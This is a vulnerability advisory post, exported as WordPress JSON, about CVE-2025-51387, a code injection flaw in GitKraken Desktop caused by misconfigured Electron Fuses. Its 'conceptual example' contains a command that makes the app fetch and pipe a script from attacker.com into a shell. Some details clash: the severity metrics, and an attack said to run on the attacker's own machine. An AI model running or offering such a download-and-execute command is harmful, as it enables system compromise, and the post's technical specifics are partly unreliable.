{"id":63830,"date":"2025-08-09T20:36:19","date_gmt":"2025-08-09T20:36:19","guid":{"rendered":""},"modified":"2025-10-30T02:18:02","modified_gmt":"2025-10-30T08:18:02","slug":"cve-2025-51387-code-injection-vulnerability-in-gitkraken-desktop-due-to-misconfigured-electron-fuses","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-51387-code-injection-vulnerability-in-gitkraken-desktop-due-to-misconfigured-electron-fuses\/","title":{"rendered":"<strong>CVE-2025-51387: Code Injection Vulnerability in GitKraken Desktop Due to Misconfigured Electron Fuses<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the realm of cybersecurity, it is essential to stay updated with the latest vulnerabilities that could potentially harm your systems. One such vulnerability, identified as CVE-2025-51387, has recently been discovered in GitKraken Desktop versions 10.8.0 and 11.1.0. This vulnerability, due to misconfigured Electron Fuses, could potentially lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36014-ibm-integration-bus-code-injection-vulnerability\/\"  data-wpil-monitor-id=\"72252\">code injection<\/a>, compromising the entire system or resulting in data leaks.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21486-severe-memory-corruption-vulnerability-during-dynamic-process-creation\/\"  data-wpil-monitor-id=\"71511\">vulnerability has a high severity<\/a> impact, with a CVSS score of 9.8, indicating that the potential damage from exploitation is significant. This blog <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24000-authentication-bypass-vulnerability-in-wpexperts-post-smtp-plugin\/\"  data-wpil-monitor-id=\"78989\">post aims to provide a comprehensive overview of this vulnerability<\/a>, its potential impact, and the necessary mitigation steps.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-51387<br \/>\nSeverity: Critical (9.8 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27050-memory-corruption-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"74889\">System compromise and potential data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-778217909\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>GitKraken Desktop | 10.8.0<br \/>\nGitKraken Desktop | 11.1.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8028-critical-vulnerability-in-firefox-and-thunderbird-due-to-incorrect-computation-of-branch-address\/\"  data-wpil-monitor-id=\"73797\">vulnerability arises due<\/a> to the insecure configuration of Electron Fuses in the GitKraken Desktop application. Specifically, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42963-critical-vulnerability-in-sap-netweaver-application-server-allows-system-compromise\/\"  data-wpil-monitor-id=\"91922\">application allows<\/a> the \u2018RunAsNode\u2019 setting to be enabled and does not disable the \u2018EnableNodeCliInspectArguments\u2019 setting. This configuration causes the application to run in Node.js mode, which might allow an attacker to pass arguments that lead to arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50460-remote-code-execution-vulnerability-in-ms-swift-project\/\"  data-wpil-monitor-id=\"71426\">code execution<\/a>.<br \/>\nFurthermore, attackers can exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46199-critical-cross-site-scripting-xss-vulnerability-in-grav\/\"  data-wpil-monitor-id=\"71415\">vulnerability by tricking legitimate users into executing malicious scripts<\/a>, which can lead to full system compromise or potential data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4210589982\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. This example uses pseudocode to demonstrate a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31713-a-potential-privilege-escalation-vulnerability-due-to-command-injection\/\"  data-wpil-monitor-id=\"79464\">potential malicious command<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\"># On the attacker&#039;s machine\n$ gitkraken --run-as-node --inspect=0.0.0.0:9229 -e &quot;require(&#039;child_process&#039;).exec(&#039;curl http:\/\/attacker.com\/malware | sh&#039;)&quot;<\/code><\/pre>\n<p>In this example, the attacker manipulates the GitKraken Desktop application to run a Node.js <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74638\">script that downloads and executes<\/a> a malicious script from the attacker&#8217;s server. Note that this is a simplified <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49531-arbitrary-code-execution-vulnerability-in-illustrator-versions-28-7-6-29-5-1-and-earlier\/\"  data-wpil-monitor-id=\"86190\">version meant primarily for illustration<\/a>. Real-world exploits might be more complex and harder to detect.<br \/>\nRemember, the best way to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43728-protection-mechanism-failure-vulnerability-in-dell-thinos\/\"  data-wpil-monitor-id=\"90261\">protect against this vulnerability<\/a> is by applying the latest patches from the vendor or using a web application firewall (WAF) or intrusion detection system (IDS) as a temporary measure.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the realm of cybersecurity, it is essential to stay updated with the latest vulnerabilities that could potentially harm your systems. One such vulnerability, identified as CVE-2025-51387, has recently been discovered in GitKraken Desktop versions 10.8.0 and 11.1.0. This vulnerability, due to misconfigured Electron Fuses, could potentially lead to code injection, compromising the entire [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[78,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-63830","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-injection","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/63830","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=63830"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/63830\/revisions"}],"predecessor-version":[{"id":85103,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/63830\/revisions\/85103"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=63830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=63830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=63830"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=63830"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=63830"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=63830"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=63830"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=63830"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=63830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}